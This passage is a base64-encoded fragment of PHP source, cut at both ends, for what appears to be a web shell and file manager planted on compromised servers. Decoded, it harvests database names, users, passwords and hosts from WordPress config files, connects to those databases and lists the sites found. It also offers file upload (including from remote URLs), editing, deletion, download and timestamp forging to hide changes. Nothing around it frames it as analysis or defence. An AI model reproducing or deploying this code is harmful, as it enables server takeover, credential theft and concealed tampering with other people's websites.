jaCgkZm91bmRfY29uZmlnIGFzICRjdXJyZW50X2RvbWVuPT4kbGlzdF9wYXRoKXsKICAgICAgICAgICAgJGdldCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X2RvbWVuKTsKICAgICAgICAgICAgJGRiID0gYXJyYXkoKTsKICAgICAgICAgICAgJGRiX3NpdGVfdXJsID0gJyc7CiAgICAgICAgICAgIHByZWdfbWF0Y2goJy9EQlxfTkFNRShcJ3xcIilccypcLFxzKihcJ3xcIikoLis/KShcJ3xcIikvdWknLCAkZ2V0LCRkYl9uYW1lKTsKICAgICAgICAgICAgaWYoaXNzZXQoJGRiX25hbWVbM10pKXsKICAgICAgICAgICAgICAgICRkYl9uYW1lID0gJGRiX25hbWVbM107CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCcvREJcX1VTRVIoXCd8XCIpXHMqXCxccyooXCd8XCIpKC4rPykoXCd8XCIpL3VpJywgJGdldCwkZGJfdXNlcik7CiAgICAgICAgICAgICAgICAkZGJfdXNlciA9ICRkYl91c2VyWzNdOwogICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgnL0RCXF9QQVNTV09SRChcJ3xcIilccypcLFxzKihcJ3xcIikoLis/KShcJ3xcIikvdWknLCAkZ2V0LCRkYl9wYXNzKTsKICAgICAgICAgICAgICAgICRkYl9wYXNzID0gJGRiX3Bhc3NbM107CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCcvREJcX0hPU1QoXCd8XCIpXHMqXCxccyooXCd8XCIpKC4rPykoXCd8XCIpL3VpJywgJGdldCwkZGJfaG9zdCk7CiAgICAgICAgICAgICAgICAkZGJfaG9zdCA9ICRkYl9ob3N0WzNdOwogICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgnL1wkdGFibGVcX3ByZWZpeFxzKlw9XHMqKFwnfFwiKSguKz8pKFwnfFwiKS91aScsICRnZXQsJGRiX3ByZWZpeCk7ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJGRiX3ByZWZpeCA9ICRkYl9wcmVmaXhbMl07CiAgICAgICAgICAgICAgICAkZGJbJ2RiX25hbWUnXSA9ICRkYl9uYW1lOwogICAgICAgICAgICAgICAgJGRiWydkYl91c2VyJ10gPSAkZGJfdXNlcjsKICAgICAgICAgICAgICAgICRkYlsnZGJfcGFzcyddID0gJGRiX3Bhc3M7CiAgICAgICAgICAgICAgICAkZGJbJ2RiX2hvc3QnXSA9ICRkYl9ob3N0OwogICAgICAgICAgICAgICAgJGRiWydkYl9wcmVmaXgnXSA9ICRkYl9wcmVmaXg7CiAgICAgICAgICAgICAgICAkZGJfY29ubmVjdCA9IGZhbHNlOwogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAkZGJfY29ubmVjdCA9IEBteXNxbGlfY29ubmVjdCgkZGJbJ2RiX2hvc3QnXSwgJGRiWydkYl91c2VyJ10sICRkYlsnZGJfcGFzcyddLCAkZGJbJ2RiX25hbWUnXSk7ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfWNhdGNoIChFeGNlcHRpb24gJGUpewogICAgICAgICAgICAgICAgICAgICRkYl9jb25uZWN0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9ICAgICAgICAKICAgICAgICAgICAgICAgIGlmKCRkYl9jb25uZWN0KXsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IEBteXNxbGlfcXVlcnkoJGRiX2Nvbm5lY3QsIlNFTEVDVCAqIEZST00gYHskZGJbJ2RiX3ByZWZpeCddfW9wdGlvbnNgIFdIRVJFIGBvcHRpb25fbmFtZWA9J3NpdGV1cmwnIExJTUlUIDE7Iik7CiAgICAgICAgICAgICAgICAgICAgfWNhdGNoIChFeGNlcHRpb24gJGUpewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAkcm93ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZigkcmVzdWx0KXsKICAgICAgICAgICAgICAgICAgICAgICAgJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJHJvd1snb3B0aW9uX3ZhbHVlJ10pKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnNlX3VybCA9IHBhcnNlX3VybCgkcm93WydvcHRpb25fdmFsdWUnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkbnMgPSAnWy1dJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoY2hlY2tkbnNycigkcGFyc2VfdXJsWydob3N0J10sICJBIikpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRucyA9ICdbK10nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRkYl9zaXRlX3VybCA9ICRkbnMuJyAnLiRyb3dbJ29wdGlvbl92YWx1ZSddOwogICAgICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgaWYoIWVtcHR5KCRkYl9zaXRlX3VybCkpewogICAgICAgICAgICAgICAgJHRleHRfZm91bmRfY29uZmlnW10gPSAkY3VycmVudF9kb21lbi4nICcuJGRiX3NpdGVfdXJsOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICR0ZXh0X2ZvdW5kX2NvbmZpZ1tdID0gJGN1cnJlbnRfZG9tZW4uJyAnLmltcGxvZGUoJyAnLCBhcnJheV9rZXlzKCRsaXN0X3BhdGgpKTsKICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgIH0KICAgICAgICAkdGV4dF9mb3VuZF9jb25maWcgPSBodG1sc3BlY2lhbGNoYXJzKGltcGxvZGUoIlxcbiIsJHRleHRfZm91bmRfY29uZmlnKSk7CgogICAgICAgIAoKICAgICAgICBlY2hvICc8IURPQ1RZUEUgaHRtbD4gPGh0bWw+IDxoZWFkPiA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+IDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4gPHRpdGxlPicuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJzwvdGl0bGU+IDxzdHlsZT4gYm9keSB7IGZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsgbWFyZ2luOiAyMHB4OyB9IGgxIHsgdGV4dC1hbGlnbjogY2VudGVyOyB9IHRhYmxlIHsgd2lkdGg6IDEwMCU7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IG1hcmdpbi10b3A6IDIwcHg7IH0gdGFibGUsIHRoLCB0ZCB7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IH0gdGgsIHRkIHsgcGFkZGluZzogOHB4OyB0ZXh0LWFsaWduOiBsZWZ0OyB9IHRoIHsgYmFja2dyb3VuZC1jb2xvcjogI2YyZjJmMjsgfSBhIHsgY29sb3I6ICMwMDA7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfSBhOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0gPC9zdHlsZT4gPHNjcmlwdD4gZnVuY3Rpb24gY29uZmlybURlbGV0ZShldmVudCkgeyB2YXIgaXNDb25maXJtZWQgPSBjb25maXJtKCJEZWxldGUgZmlsZS9kaXI/Iik7IGlmICghaXNDb25maXJtZWQpIHsgZXZlbnQucHJldmVudERlZmF1bHQoKTsgfSB9IGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgZGF5cykgeyBsZXQgZXhwaXJ5RGF0ZSA9IG5ldyBEYXRlKCk7IGV4cGlyeURhdGUuc2V0VGltZShleHBpcnlEYXRlLmdldFRpbWUoKSArIChkYXlzICogMjQgKiA2MCAqIDYwICogMTAwMCkpOyBsZXQgZXhwaXJlcyA9ICJleHBpcmVzPSIgKyBleHBpcnlEYXRlLnRvVVRDU3RyaW5nKCk7IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyB2YWx1ZSArICI7IiArIGV4cGlyZXMgKyAiO3BhdGg9LyI7IH0gZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihcJ0RPTUNvbnRlbnRMb2FkZWRcJywgZnVuY3Rpb24oKSB7IGZ1bmN0aW9uIGVuY29kZUJhc2U2NChzdHIpIHsgcmV0dXJuIGJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikpKTsgfSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZWRpdG9yLWZvcm0iKS5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCBmdW5jdGlvbihlKSB7IGUucHJldmVudERlZmF1bHQoKTsgdmFyIHRleHRhcmVhQ29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb250ZW50IikudmFsdWU7IHZhciBlbmNvZGVkQ29udGVudCA9IGVuY29kZUJhc2U2NCh0ZXh0YXJlYUNvbnRlbnQpOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29udGVudCIpLnZhbHVlID0gZW5jb2RlZENvbnRlbnQ7IHRoaXMuc3VibWl0KCk7IH0pOyB9KTsgZnVuY3Rpb24gcmVwbGFjZUxpbmtXaXRoVGV4dGFyZWEoZXZlbnQsIGxpbmspIHsgZXZlbnQucHJldmVudERlZmF1bHQoKTsgY29uc3QgdGV4dGFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwndGV4dGFyZWFcJyk7IHRleHRhcmVhLnN0eWxlLndpZHRoID0gXCcxMDAlXCc7IHRleHRhcmVhLnN0eWxlLmhlaWdodCA9IFwnMTAwcHhcJzsgY29uc3QgaW5pdGlhbFRleHQgPSAiJy4kdGV4dF9mb3VuZF9kb21lbi4nIjsgdGV4dGFyZWEudmFsdWUgPSBpbml0aWFsVGV4dDsgICAgbGluay5yZXBsYWNlV2l0aCh0ZXh0YXJlYSk7IH0gZnVuY3Rpb24gcmVwbGFjZUxpbmtXaXRoVGV4dGFyZWEyKGV2ZW50LCBsaW5rKSB7IGV2ZW50LnByZXZlbnREZWZhdWx0KCk7IGNvbnN0IHRleHRhcmVhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudChcJ3RleHRhcmVhXCcpOyB0ZXh0YXJlYS5zdHlsZS53aWR0aCA9IFwnMTAwJVwnOyB0ZXh0YXJlYS5zdHlsZS5oZWlnaHQgPSBcJzEwMHB4XCc7IGNvbnN0IGluaXRpYWxUZXh0ID0gIicuJHRleHRfZm91bmRfY29uZmlnLiciOyB0ZXh0YXJlYS52YWx1ZSA9IGluaXRpYWxUZXh0OyAgICBsaW5rLnJlcGxhY2VXaXRoKHRleHRhcmVhKTsgfSBmdW5jdGlvbiByZXBsYWNlTGlua1dpdGhUZXh0YXJlYTMoZXZlbnQsIGxpbmspIHsgZXZlbnQucHJldmVudERlZmF1bHQoKTsgY29uc3QgdGV4dGFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwndGV4dGFyZWFcJyk7IHRleHRhcmVhLnN0eWxlLndpZHRoID0gXCcxMDAlXCc7IHRleHRhcmVhLnN0eWxlLmhlaWdodCA9IFwnMTAwcHhcJzsgY29uc3QgaW5pdGlhbFRleHQgPSAiJy4kbGlzdF9hbGxfZGlyLiciOyB0ZXh0YXJlYS52YWx1ZSA9IGluaXRpYWxUZXh0OyAgICBsaW5rLnJlcGxhY2VXaXRoKHRleHRhcmVhKTsgfSAgZnVuY3Rpb24gZGVsZXRlQ29va2llKGNvb2tpZU5hbWUpIHsgZG9jdW1lbnQuY29va2llID0gY29va2llTmFtZSArICI9OyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDAgVVRDOyBwYXRoPS8iOyB9PC9zY3JpcHQ+IDwvaGVhZD4gPGJvZHk+JzsKICAgICAgICAKCiAgICAgICAgZWNobyBpbXBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGRpcl9hcnJheSk7CgogICAgICAgIAogICAgICAgIAogICAgICAgIAoKICAgICAgICBpZigkaXNfZmlsZSl7CiAgICAgICAgICAgIGVjaG8gRElSRUNUT1JZX1NFUEFSQVRPUi5iYXNlbmFtZSgkaXNfZmlsZSkuJzxicj4nOwogICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZ29vZCddKSl7CiAgICAgICAgICAgICAgICBpZigkX0dFVFsnZ29vZCddPT0xKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJHb29kIHNhdmUiKTs8L3NjcmlwdD4nOyAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5hbGVydCgiQmFkIHNhdmUiKTs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBpZD0iZWRpdG9yLWZvcm0iIG1ldGhvZD0iUE9TVCI+PHRleHRhcmVhIGlkPSJjb250ZW50IiBzdHlsZT0id2lkdGg6IDEwMCU7aGVpZ2h0OiA4NXZoO2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7Zm9udC1zaXplOiAxNnB4O3BhZGRpbmc6IDIwcHg7Ym94LXNpemluZzogYm9yZGVyLWJveDtib3JkZXI6IG5vbmU7b3V0bGluZTogbm9uZTtyZXNpemU6IG5vbmU7IGJhY2tncm91bmQtY29sb3I6ICNmNWY1ZjU7IiBuYW1lPSJjb250ZW50Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInLmJhc2U2NF9lbmNvZGUoJGlzX2ZpbGUpLiciPjxidXR0b24gdHlwZT0ic3VibWl0Ij5TYXZlPC9idXR0b24+PC9mb3JtPic7ICAgICAgICAKICAgICAgICAgICAgZWNobyAnPC9ib2R5PjwvaHRtbD4nOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfSAgICAKCiAgICAgICAgZWNobyAnIDxhIGhyZWY9IicuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJyI+W2hvbWVdPC9hPiZuYnNwOyAmbmJzcDsg4oaU77iPICZuYnNwOyAmbmJzcDsgJm5ic3A7IDxmb3JtIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmU7IiBhY3Rpb249IicuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKCRkaXIpLiciIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSIiPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY3JlYXRlX2RpciI+Q3JlYXRlIGRpcjwvYnV0dG9uPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY3JlYXRlX2ZpbGUiPkNyZWF0ZSBmaWxlPC9idXR0b24+Jm5ic3A7IOKGlO+4jyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImFjdGlvbiIgdmFsdWU9InBhc3RlX2ZpbGUiPlBhc3RlPC9idXR0b24+PC9mb3JtPiZuYnNwOyAmbmJzcDsg4oaU77iPICZuYnNwOyAmbmJzcDsgJm5ic3A7ICc7CiAgICAgICAgZWNobyAnPGZvcm0gc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiIGFjdGlvbj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGRpcikuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZmlsZSI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cGxvYWR1cmwiIHZhbHVlPSJodHRwczovLy4uLiI+IDxidXR0b24gdHlwZT0ic3VibWl0Ij5VcGxvYWQ8L2J1dHRvbj48L2Zvcm0+Jm5ic3A7ICZuYnNwOyDihpTvuI8gJm5ic3A7ICZuYnNwOyAmbmJzcDs8Zm9ybSBzdHlsZT0iZGlzcGxheTogaW5saW5lOyIgYWN0aW9uPSInLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddLic/ZGlyPScuYmFzZTY0X2VuY29kZSgkZGlyKS4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfdGV4dCIgdmFsdWU9InNlYXJjaCBzdHJpbmciPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+U2VhcmNoPC9idXR0b24+PC9mb3JtPjxocj4nOyAgICAgICAKICAgICAgICBlY2hvICc8YSBocmVmPSIjIiBvbmNsaWNrPSJyZXBsYWNlTGlua1dpdGhUZXh0YXJlYShldmVudCwgdGhpcykiPuKWtu+4jyBGb3VuZCBkb21lbiAnLiRjb3VudF9mb3VuZF9kb21lbi4nPC9hPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOzxhIGhyZWY9IiMiIG9uY2xpY2s9InJlcGxhY2VMaW5rV2l0aFRleHRhcmVhMihldmVudCwgdGhpcykiPuKWtu+4jyBGb3VuZCBjb25maWcgJy4kY291bnRfZm91bmRfY29uZmlnLic8L2E+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7PGEgaHJlZj0iIyIgb25jbGljaz0icmVwbGFjZUxpbmtXaXRoVGV4dGFyZWEzKGV2ZW50LCB0aGlzKSI+4pa277iPIExpc3QgUGF0aDwvYT48aHI+JzsKICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbJ2ZpbGVfY29weSddKSkgewogICAgICAgICAgICAkZmlsZSA9IGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyAnLCcrJywkX0NPT0tJRVsnZmlsZV9jb3B5J10pKTsKICAgICAgICAgICAgaWYoaXNfZmlsZSgkZmlsZSkpewogICAgICAgICAgICAgICAgZWNobyAnQlVGRkVSIEZJTEU6ICcuJGZpbGUgOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZmlsZSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0JVRkZFUiBESVI6ICcuJGZpbGUgOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJyA8YSBocmVmPSIjIiBvbmNsaWNrPSJkZWxldGVDb29raWUoXCdmaWxlX2NvcHlcJyk7IGxvY2F0aW9uLnJlbG9hZCgpOyByZXR1cm4gZmFsc2U7Ij7inYw8L2E+PGhyPic7ICAgICAgIAogICAgICAgIH0KCiAgICAgICAgZWNobyAnPHRhYmxlPjx0aGVhZD48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+UEVSTVM8L3RoPjx0aD5PV05FUjwvdGg+PHRoPlRJTUU8L3RoPjx0aD5BQ1RJT048L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+JzsKICAgICAKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAkX2ZpbGVzID0gYXJyYXkoKTsKICAgICAgICAkX2RpciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCgkZmlsZXMgYXMgJGN1cnJlbnRfZmlsZSl7CiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGN1cnJlbnRfZmlsZSkpewogICAgICAgICAgICAgICAgJF9kaXJbXSA9ICRjdXJyZW50X2ZpbGU7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgJF9maWxlc1tdID0gJGN1cnJlbnRfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkX2RpciwkX2ZpbGVzKTsKCgogICAgICAgIC8vINCS0YvQstC+0LQg0YTQsNC50LvQvtCyINC4INC/0LDQv9C+0LoKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsgICAgCiAgICAgICAgICAgIGVjaG8gIjx0cj4iOwoKICAgICAgICAgICAgJGlzX3dyaXRhYmxlID0gZmFsc2U7CiAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkpewogICAgICAgICAgICAgICAgJGNvbG9yID0gJyMzMkNEMzInOwogICAgICAgICAgICAgICAgJGlzX3dyaXRhYmxlID0gdHJ1ZTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBpZihpc19yZWFkYWJsZSgkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpKXsKICAgICAgICAgICAgICAgICAgICAkY29sb3IgPSAnI0ZGRDcwMCc7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAkY29sb3IgPSAnI0ZGNDUwMCc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpKXsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48YSBzdHlsZT1cImNvbG9yOnskY29sb3J9O1wiIGhyZWY9Jz9kaXI9Ii5iYXNlNjRfZW5jb2RlKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkuIic+8J+TgSAkZmlsZTwvYT48L3RkPiI7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAiPHRkPjxhIHN0eWxlPVwiY29sb3I6eyRjb2xvcn07XCIgaHJlZj0nP2Rpcj0iLmJhc2U2NF9lbmNvZGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKS4iJz7wn5OEICRmaWxlPC9hPjwvdGQ+IjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYoaXNfZmlsZSgkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpKXsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iLihyb3VuZChmaWxlc2l6ZSgkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpLzEwMjQsMSkpLiIgS2I8L3RkPiI7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAiPHRkPi0tLS08L3RkPiI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVjaG8gIjx0ZD4iLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpKSwgLTQpLiI8L3RkPiI7CiAgICAgICAgICAgIAogICAgICAgICAgICAvKgogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSB8fCAhZnVuY3Rpb25fZXhpc3RzKCdmaWxlZ3JvdXAnKSkgewogICAgICAgICAgICAgICAgZWNobyAiPHRkPj8/PzwvdGQ+IjsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBlY2hvICI8dGQ+Ii5wb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKSlbJ25hbWUnXS4nOicucG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkpWyduYW1lJ10uIjwvdGQ+IjsKICAgICAgICAgICAgfSovCiAgICAgICAgICAgIGVjaG8gJzx0ZD4/Pz88L3RkPic7CiAgICAgICAgICAgIAogICAgICAgICAgICAKICAgICAgICAgICAgJHRpbWUgPSBmaWxlbXRpbWUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKTsKICAgICAgICAgICAgJG1pbl9vbGQgPSByb3VuZCgodGltZSgpLSR0aW1lKS82MCk7CiAgICAgICAgICAgIGVjaG8gIjx0ZD4iLmRhdGUoIlktbS1kIEg6aTpzIiwkdGltZSkuJyDwn5WXICcuJG1pbl9vbGQuJyBtaW4nLiI8L3RkPiI7CgogICAgICAgICAgICBpZigkaXNfd3JpdGFibGUpewogICAgICAgICAgICAgICAgZWNobyAnPHRkPicuJzxhIGhyZWY9IicuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkuJyZkZWwiIG9uY2xpY2s9InJldHVybiBjb25maXJtRGVsZXRlKGV2ZW50KSIgdGl0bGU9IkRlbGV0ZSI+4p2MPC9hPiA8YSBocmVmPSInLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddLic/ZGlyPScuYmFzZTY0X2VuY29kZSgkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpLicmY2hhbmdldGltZSIgdGl0bGU9IkNoYW5nZSB0byBvbGQgdGltZSI+8J+VlzwvYT4gPGEgaHJlZj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKS4nJmJhY2t1cCIgdGl0bGU9IkJhY2tVcCI+8J+XhO+4jzwvYT4gPGEgaHJlZj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKS4nJmRvd25sb2FkIiB0aXRsZT0iRG93bmxvYWQiPuKsh++4jzwvYT4gPGZvcm0gc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiIGFjdGlvbj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGRpcikuJyIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIHZhbHVlPSInLiRmaWxlLiciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZF9maWxlIiB2YWx1ZT0iJy5iYXNlNjRfZW5jb2RlKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkuJyI+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSI+4pyP77iPPC9idXR0b24+PC9mb3JtPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJzZXRDb29raWUoXCdmaWxlX2NvcHlcJywgXCcnLmJhc2U2NF9lbmNvZGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKS4nXCcsIDEpOyBhbGVydChcJ0NvcHkhXCcpOyBsb2NhdGlvbi5yZWxvYWQoKTsgcmV0dXJuIGZhbHNlOyIgdGl0bGU9IkNvcHkiPvCfk5o8L2E+IDxhIGhyZWY9IicuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkuJyZjaGFuZ2VyYW5kb210aW1lIiB0aXRsZT0iQ2hhbmdlIHRpbWUgKy0gNXMiPvCflZc8L2E+Jy4nPC90ZD4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48L3RkPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC90cj4iOwogICAgICAgIH0KCiAgICAgICAgZWNobyAnPC90Ym9keT48L3RhYmxlPjwvYm9keT48L2h0bWw+JzsKICAgICAgICBleGl0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2VhcmNoRmlsZXNJbkZvbGRlcigkZm9sZGVyUGF0aCwgJHNlYXJjaFRleHQpIAogICAgewogICAgICAgICRyZXN1bHRGaWxlcyA9IGFycmF5KCk7ICAgICAgICAKICAgICAgICAkZGlyID0gb3BlbmRpcigkZm9sZGVyUGF0aCk7CiAgICAgICAgaWYgKCEkZGlyKSB7CiAgICAgICAgICAgIHJldHVybiAkcmVzdWx0RmlsZXM7CiAgICAgICAgfSAgICAgICAKICAgICAgICB3aGlsZSAoKCRmaWxlID0gcmVhZGRpcig